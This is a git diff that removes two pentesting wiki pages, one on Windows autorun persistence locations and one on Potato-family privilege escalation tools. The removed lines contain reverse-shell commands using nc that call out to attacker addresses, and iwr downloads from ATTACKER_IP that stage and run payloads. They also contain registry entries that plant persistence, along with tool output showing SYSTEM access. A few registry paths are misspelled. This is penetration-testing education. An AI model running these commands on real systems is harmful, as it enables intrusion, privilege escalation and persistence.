-All the binaries located in the **Startup folders are going to be executed on startup**. The common startup folders are the ones listed a continuation, but the startup folder is indicated in the registry. [Read this to learn where.](privilege-escalation-with-autorun-binaries.md#startup-path)
-
-```bash
-dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
-dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
-dir /b "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
-dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
-Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
-Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
-```
-
-> **FYI**: Archive extraction *path traversal* vulnerabilities (such as the one abused in WinRAR prior to 7.13 – CVE-2025-8088) can be leveraged to **deposit payloads directly inside these Startup folders during decompression**, resulting in code execution on the next user logon.  For a deep-dive into this technique see:
-
-
-{{#ref}}
-../../generic-hacking/archive-extraction-path-traversal.md
-{{#endref}}
-
-
-
-## Registry
-
-> [!TIP]
-> [Note from here](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): The **Wow6432Node** registry entry indicates that you are running a 64-bit Windows version. The operating system uses this key to display a separate view of HKEY_LOCAL_MACHINE\SOFTWARE for 32-bit applications that run on 64-bit Windows versions.
-
-### Runs
-
-**Commonly known** AutoRun registry:
-
-- `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
-- `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce`
-- `HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run`
-- `HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce`
-- `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
-- `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`
-- `HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run`
-- `HKCU\Software\Wow6432Npde\Microsoft\Windows\CurrentVersion\RunOnce`
-- `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run`
-- `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce`
-- `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx`
-
-Registry keys known as **Run** and **RunOnce** are designed to automatically execute programs every time a user logs into the system. The command line assigned as a key's data value is limited to 260 characters or less.
-
-**Service runs** (can control automatic startup of services during boot):
-
-- `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
-- `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
-- `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices`
-- `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices`
-- `HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce`
-- `HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce`
-- `HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices`
-- `HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices`
-
-**RunOnceEx:**
-
-- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
-- `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx`
-
-On Windows Vista and later versions, the **Run** and **RunOnce** registry keys are not automatically generated. Entries in these keys can either directly start programs or specify them as dependencies. For instance, to load a DLL file at logon, one could use the **RunOnceEx** registry key along with a "Depend" key. This is demonstrated by adding a registry entry to execute "C:\temp\evil.dll" during the system start-up:
-
-```
-reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll"
-```
-
-> [!TIP]
-> **Exploit 1**: If you can write inside any of the mentioned registry inside **HKLM** you can escalate privileges when a different user logs in.
-
-> [!TIP]
-> **Exploit 2**: If you can overwrite any of the binaries indicated on any of the registry inside **HKLM** you can modify that binary with a backdoor when a different user logs in and escalate privileges.
-
-```bash
-#CMD
-reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
-reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
-reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
-reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
-reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
-reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
-reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
-reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
-reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run
-reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce
-reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunE
-
-reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
-reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
-reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
-reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
-reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
-reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
-reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices
-reg query HKCU\Software\Wow5432Node\Microsoft\Windows\CurrentVersion\RunServices
-
-reg query HKLM\Software\Microsoft\Windows\RunOnceEx
-reg query HKLM\Software\Wow6432Node\Microsoft\Windows\RunOnceEx
-reg query HKCU\Software\Microsoft\Windows\RunOnceEx
-reg query HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx
-
-#PowerShell
-Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Run'
-Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce'
-Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run'
-Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce'
-Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Run'
-Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce'
-Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run'
-Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce'
-Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run'
-Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce'
-Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunE'
-
-Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce'
-Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce'
-Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices'
-Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices'
-Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce'
-Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce'
-Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices'
-Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices'
-
-Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\RunOnceEx'
-Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\RunOnceEx'
-Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\RunOnceEx'
-Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx'
-```
-
-### Startup Path
-
-- `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
-- `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
-- `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
-- `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
-
-Shortcuts placed in the **Startup** folder will automatically trigger services or applications to launch during user logon or system reboot. The **Startup** folder's location is defined in the registry for both the **Local Machine** and **Current User** scopes. This means any shortcut added to these specified **Startup** locations will ensure the linked service or program starts up following the logon or reboot process, making it a straightforward method for scheduling programs to run automatically.
-
-> [!TIP]
-> If you can overwrite any \[User] Shell Folder under **HKLM**, you will e able to point it to a folder controlled by you and place a backdoor that will be executed anytime a user logs in the system escalating privileges.
-
-```bash
-reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
-reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
-reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
-reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
-
-Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"
-Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
-Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
-Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"
-```
-
-### UserInitMprLogonScript
-
-- `HKCU\Environment\UserInitMprLogonScript`
-
-This per-user registry value can point to a script or command that is executed when that user logs on. It is mainly a **persistence** primitive because it only runs in the context of the affected user, but it is still worth checking during post-exploitation and autoruns reviews.
-
-> [!TIP]
-> If you can write this value for the current user, you can re-trigger execution at the next interactive logon without needing admin rights. If you can write it for another user hive, you may gain code execution when that user logs on.
-
-```bash
-reg query "HKCU\Environment" /v "UserInitMprLogonScript"
-reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "C:\Users\Public\logon.bat" /f
-reg delete "HKCU\Environment" /v "UserInitMprLogonScript" /f
-
-Get-ItemProperty -Path 'Registry::HKCU\Environment' -Name "UserInitMprLogonScript"
-Set-ItemProperty -Path 'Registry::HKCU\Environment' -Name "UserInitMprLogonScript" -Value 'C:\Users\Public\logon.bat'
-Remove-ItemProperty -Path 'Registry::HKCU\Environment' -Name "UserInitMprLogonScript"
-```
-
-Notes:
-
-- Prefer full paths to `.bat`, `.cmd`, `.ps1`, or other launcher files already readable by the target user.
-- This survives logoff/reboot until the value is removed.
-- Unlike `HKLM\...\Run`, this does **not** grant elevation by itself; it is user-scope persistence.
-
-### Winlogon Keys
-
-`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
-
-Typically, the **Userinit** key is set to **userinit.exe**. However, if this key is modified, the specified executable will also be launched by **Winlogon** upon user logon. Similarly, the **Shell** key is intended to point to **explorer.exe**, which is the default shell for Windows.
-
-```bash
-reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit"
-reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell"
-Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit"
-Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"
-```
-
-> [!TIP]
-> If you can overwrite the registry value or the binary you will be able to escalate privileges.
-
-### Policy Settings
-
-- `HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer`
-- `HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer`
-
-Check **Run** key.
-
-```bash
-reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
-reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
-Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run"
-Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run"
-```
-
-### AlternateShell
-
-### Changing the Safe Mode Command Prompt
-
-In the Windows Registry under `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`, there's a **`AlternateShell`** value set by default to `cmd.exe`. This means when you choose "Safe Mode with Command Prompt" during startup (by pressing F8), `cmd.exe` is used. But, it's possible to set up your computer to automatically start in this mode without needing to press F8 and manually select it.
-
-Steps to create a boot option for automatically starting in "Safe Mode with Command Prompt":
-
-1. Change attributes of the `boot.ini` file to remove read-only, system, and hidden flags: `attrib c:\boot.ini -r -s -h`
-2. Open `boot.ini` for editing.
-3. Insert a line like: `multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)`
-4. Save changes to `boot.ini`.
-5. Reapply the original file attributes: `attrib c:\boot.ini +r +s +h`
-
-- **Exploit 1:** Changing the **AlternateShell** registry key allows for custom command shell setup, potentially for unauthorized access.
-- **Exploit 2 (PATH Write Permissions):** Having write permissions to any part of the system **PATH** variable, especially before `C:\Windows\system32`, lets you execute a custom `cmd.exe`, which could be a backdoor if the system is started in Safe Mode.
-- **Exploit 3 (PATH and boot.ini Write Permissions):** Writing access to `boot.ini` enables automatic Safe Mode startup, facilitating unauthorized access on the next reboot.
-
-To check the current **AlternateShell** setting, use these commands:
-
-```bash
-reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
-Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot' -Name 'AlternateShell'
-```
-
-### Installed Component
-
-Active Setup is a feature in Windows that **initiates before the desktop environment is fully loaded**. It prioritizes the execution of certain commands, which must complete before the user logon proceeds. This process occurs even before other startup entries, such as those in the Run or RunOnce registry sections, are triggered.
-
-Active Setup is managed through the following registry keys:
-
-- `HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components`
-- `HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components`
-- `HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components`
-- `HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components`
-
-Within these keys, various subkeys exist, each corresponding to a specific component. Key values of particular interest include:
-
-- **IsInstalled:**
-  - `0` indicates the component's command will not execute.
-  - `1` means the command will execute once for each user, which is the default behavior if the `IsInstalled` value is missing.
-- **StubPath:** Defines the command to be executed by Active Setup. It can be any valid command line, such as launching `notepad`.
-
-**Security Insights:**
-
-- Modifying or writing to a key where **`IsInstalled`** is set to `"1"` with a specific **`StubPath`** can lead to unauthorized command execution, potentially for privilege escalation.
-- Altering the binary file referenced in any **`StubPath`** value could also achieve privilege escalation, given sufficient permissions.
-
-To inspect the **`StubPath`** configurations across Active Setup components, these commands can be used:
-
-```bash
-reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
-reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
-reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
-reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
-```
-
-### Browser Helper Objects
-
-### Overview of Browser Helper Objects (BHOs)
-
-Browser Helper Objects (BHOs) are DLL modules that add extra features to Microsoft's Internet Explorer. They load into Internet Explorer and Windows Explorer on each start. Yet, their execution can be blocked by setting **NoExplorer** key to 1, preventing them from loading with Windows Explorer instances.
-
-BHOs are compatible with Windows 10 via Internet Explorer 11 but are not supported in Microsoft Edge, the default browser in newer versions of Windows.
-
-To explore BHOs registered on a system, you can inspect the following registry keys:
-
-- `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
-- `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
-
-Each BHO is represented by its **CLSID** in the registry, serving as a unique identifier. Detailed information about each CLSID can be found under `HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`.
-
-For querying BHOs in the registry, these commands can be utilized:
-
-```bash
-reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
-reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
-```
-
-### Internet Explorer Extensions
-
-- `HKLM\Software\Microsoft\Internet Explorer\Extensions`
-- `HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions`
-
-Note that the registry will contain 1 new registry per each dll and it will be represented by the **CLSID**. You can find the CLSID info in `HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`
-
-### Font Drivers
-
-- `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers`
-- `HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers`
-
-```bash
-reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers"
-reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers"
-Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers'
-Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers'
-```
-
-### Open Command
-
-- `HKLM\SOFTWARE\Classes\htmlfile\shell\open\command`
-- `HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command`
-
-```bash
-reg query "HKLM\SOFTWARE\Classes\htmlfile\shell\open\command" /v ""
-reg query "HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command" /v ""
-Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Classes\htmlfile\shell\open\command' -Name ""
-Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command' -Name ""
-```
-
-### Image File Execution Options
-
-```
-HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
-HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
-```
-
-## SysInternals
-
-Note that all the sites where you can find autoruns are **already searched by**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). However, for a **more comprehensive list of auto-executed** file you could use [autoruns ](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)from systinternals:
-
-```
-autorunsc.exe -m -nobanner -a * -ct /accepteula
-```
-
-## More
-
-**Find more Autoruns like registries in** [**https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2**](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2)
-
-## References
-
-- [https://resources.infosecinstitute.com/common-malware-persistence-mechanisms/#gref](https://resources.infosecinstitute.com/common-malware-persistence-mechanisms/#gref)
-- [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
-- [https://attack.mitre.org/techniques/T1037/001/](https://attack.mitre.org/techniques/T1037/001/)
-- [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2)
-- [https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell)
-- [https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-04-03-2026](https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-04-03-2026)
-
-
-
-{{#include ../../banners/hacktricks-training.md}}
-
diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
deleted file mode 100644
index ec1dd7a87c7..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
+++ /dev/null
@@ -1,253 +0,0 @@
-# RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
-
-{{#include ../../banners/hacktricks-training.md}}
-
-> [!WARNING]
-> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
-
-> [!TIP]
-> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.
-
-Related pages for background and manual techniques:
-
-{{#ref}}
-seimpersonate-from-high-to-system.md
-{{#endref}}
-
-{{#ref}}
-from-high-integrity-to-system-with-name-pipes.md
-{{#endref}}
-
-{{#ref}}
-privilege-escalation-abusing-tokens.md
-{{#endref}}
-
-## Requirements and common gotchas
-
-All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges:
-
-- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege
-- High integrity is not required if the token already has SeImpersonatePrivilege (typical for many service accounts such as IIS AppPool, MSSQL, etc.)
-
-Check privileges quickly:
-
-```cmd
-whoami /priv | findstr /i impersonate
-```
-
-Operational notes:
-
-- If your shell runs under a restricted token lacking SeImpersonatePrivilege (common for Local Service/Network Service in some contexts), regain the account’s default privileges using FullPowers, then run a Potato. Example: `FullPowers.exe -c "cmd /c whoami /priv" -z`
-- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato.
-- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag.
-- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon).
-- Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running.
-- “Kitchen-sink” forks such as DeadPotato bundle extra payload modules (Mimikatz/SharpHound/Defender off) which touch disk; expect higher EDR detection compared to the slim originals.
-
-## Quick Demo
-
-### PrintSpoofer
-
-```bash
-c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"
-
---------------------------------------------------------------------------------
-
-[+] Found privilege: SeImpersonatePrivilege
-
-[+] Named pipe listening...
-
-[+] CreateProcessAsUser() OK
-
-NULL
-
-```
-
-Notes:
-- You can use -i to spawn an interactive process in the current console, or -c to run a one-liner.
-- Requires Spooler service. If disabled, this will fail.
-
-### RoguePotato
-
-```bash
-c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
-# In some old versions you need to use the "-f" param
-c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
-```
-
-If outbound 135 is blocked, pivot the OXID resolver via socat on your redirector:
-
-```bash
-# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
-socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
-
-# On victim, run RoguePotato with local resolver on 9999 and -r pointing to the redirector IP
-RoguePotato.exe -r REDIRECTOR_IP -e "cmd.exe /c whoami" -l 9999
-```
-
-### PrintNotifyPotato
-
-PrintNotifyPotato is a newer COM abuse primitive released in late 2022 that targets the **PrintNotify** service instead of Spooler/BITS. The binary instantiates the PrintNotify COM server, swaps in a fake `IUnknown`, then triggers a privileged callback through `CreatePointerMoniker`. When the PrintNotify service (running as **SYSTEM**) connects back, the process duplicates the returned token and spawns the supplied payload with full privileges.
-
-Key operational notes:
-
-* Works on Windows 10/11 and Windows Server 2012–2022 as long as the Print Workflow/PrintNotify service is installed (it is present even when the legacy Spooler is disabled post-PrintNightmare).
-* Requires the calling context to hold **SeImpersonatePrivilege** (typical for IIS APPPOOL, MSSQL, and scheduled-task service accounts).
-* Accepts either a direct command or an interactive mode so you can stay inside the original console. Example:
-
-  ```cmd
-  PrintNotifyPotato.exe cmd /c "powershell -ep bypass -File C:\ProgramData\stage.ps1"
-  PrintNotifyPotato.exe whoami
-  ```
-
-* Because it is purely COM-based, no named-pipe listeners or external redirectors are required, making it a drop-in replacement on hosts where Defender blocks RoguePotato’s RPC binding.
-
-Operators such as Ink Dragon fire PrintNotifyPotato immediately after gaining ViewState RCE on SharePoint to pivot from the `w3wp.exe` worker to SYSTEM before installing ShadowPad.
-
-### SharpEfsPotato
-
-```bash
-> SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
-SharpEfsPotato by @bugch3ck
-  Local privilege escalation from SeImpersonatePrivilege using EfsRpc.
-
-  Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.
-
-[+] Triggering name pipe access on evil PIPE \\localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/\c56e1f1f-f91c-4435-85df-6e158f68acd2\c56e1f1f-f91c-4435-85df-6e158f68acd2
-df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
-[x]RpcBindingSetAuthInfo failed with status 0x6d3
-[+] Server connected to our evil RPC pipe
-[+] Duplicated impersonation token ready for process creation
-[+] Intercepted and authenticated successfully, launching program
-[+] Process created, enjoy!
-
-C:\temp>type C:\temp\w.log
-nt authority\system
-```
-
-### EfsPotato
-
-```bash
-> EfsPotato.exe "whoami"
-Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
-Part of GMH's fuck Tools, Code By zcgonvh.
-CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]
-
-[+] Current user: NT Service\MSSQLSERVER
-[+] Pipe: \pipe\lsarpc
-[!] binding ok (handle=aeee30)
-[+] Get Token: 888
-[!] process with pid: 3696 created.
-==============================
-[x] EfsRpcEncryptFileSrv failed: 1818
-
-nt authority\system
-```
-
-Tip: If one pipe fails or EDR blocks it, try the other supported pipes:
-
-```text
-EfsPotato <cmd> [pipe]
-  pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
-```
-
-### GodPotato
-
-```bash
-> GodPotato -cmd "cmd /c whoami"
-# You can achieve a reverse shell like this.
-> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
-```
-
-Notes:
-- Works across Windows 8/8.1–11 and Server 2012–2022 when SeImpersonatePrivilege is present.
-- Grab the binary that matches the installed runtime (e.g., `GodPotato-NET4.exe` on modern Server 2022).
-- If your initial execution primitive is a webshell/UI with short timeouts, stage the payload as a script and ask GodPotato to run it instead of a long inline command.
-
-Quick staging pattern from a writable IIS webroot:
-
-```powershell
-iwr http://ATTACKER_IP/GodPotato-NET4.exe -OutFile gp.exe
-iwr http://ATTACKER_IP/shell.ps1 -OutFile shell.ps1  # contains your revshell
-./gp.exe -cmd "powershell -ep bypass C:\inetpub\wwwroot\shell.ps1"
-```
-
-### DCOMPotato
-
-![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
-
-DCOMPotato provides two variants targeting service DCOM objects that default to RPC_C_IMP_LEVEL_IMPERSONATE. Build or use the provided binaries and run your command:
-
-```cmd
-# PrinterNotify variant
-PrinterNotifyPotato.exe "cmd /c whoami"
-
-# McpManagementService variant (Server 2022 also)
-McpManagementPotato.exe "cmd /c whoami"
-```
-
